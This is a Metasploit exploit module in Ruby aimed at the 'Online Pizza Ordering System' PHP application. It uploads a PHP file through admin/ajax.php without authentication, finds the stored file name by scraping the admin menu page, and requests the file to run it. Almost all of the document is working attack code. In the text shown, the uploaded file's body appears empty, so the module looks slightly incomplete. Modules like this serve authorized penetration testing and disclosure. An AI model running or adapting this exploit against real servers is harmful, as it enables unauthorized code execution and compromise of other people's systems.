## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Online Pizza Ordering System PHP File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Online Pizza Ordering System By abusing the admin_class.php file, a malicious user can upload a file to the img/ directory without any authentication, which results in arbitrary code execution. The module has been tested successfully on Ubuntu 22.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'Sefa Ozan' # author & msf module ], 'References' => [ ['URL', 'https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Online Pizza Ordering System', {}] ], 'Privileged' => false, 'DisclosureDate' => '2023-09-11', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Online Pizza Ordering System', '/php-opos']) ]) end def check uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "admin", "ajax.php") }) if res and res.code == 200 return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit uri = normalize_uri(target_uri.path) uri << '/' if uri[-1,1] != '/' payload_name = rand_text_alpha(rand(10) + 5) + '.php' boundary = Rex::Text.rand_text_hex(7) post_data = "-----------------------------#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"id\"\r\n\r\n\r\n" post_data << "-----------------------------#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n" post_data << "#{boundary}\r\n" post_data << "-----------------------------#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"description\"\r\n\r\n" post_data << "#{boundary}\r\n" post_data << "-----------------------------#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"status\"\r\n\r\n" post_data << "on\r\n" post_data << "-----------------------------#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"category_id\"\r\n\r\n" post_data << "3\r\n" post_data << "-----------------------------#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"price\"\r\n\r\n" post_data << "1\r\n" post_data << "-----------------------------#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"img\"; filename=\"#{payload_name}\"\r\n\r\n\r\n" post_data << "\r\n" post_data << "-----------------------------#{boundary}--\r\n" print_status("Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "admin", "ajax.php?action=save_menu"), 'ctype' => "multipart/form-data; boundary=---------------------------#{boundary}", 'data' => post_data }) # If the server does not return 200 and the body does not contain 1, # we assume we couldn't uploaded the malicious php file. if not res or res.code != 200 or !res.body.include?("1") print_error("File wasn't uploaded, aborting!") return end #Geting our malicious php file's exact name on the server. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "admin", "index.php?page=menu") }) # Trying to find our malicious file's name on the server with this ugly regex. if res and res.body.include?("#{payload_name}") match = res.body.match('data\-name="' + boundary + '" data\-status="1" data\-description="' + boundary + '" data\-price="1" data\-category_id="3" data\-img_path="(.*?' + payload_name + ')">Edit<')[1] end print_status("Executing PHP payload") # Executing our payload res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "assets", "img", "#{match}") }) end end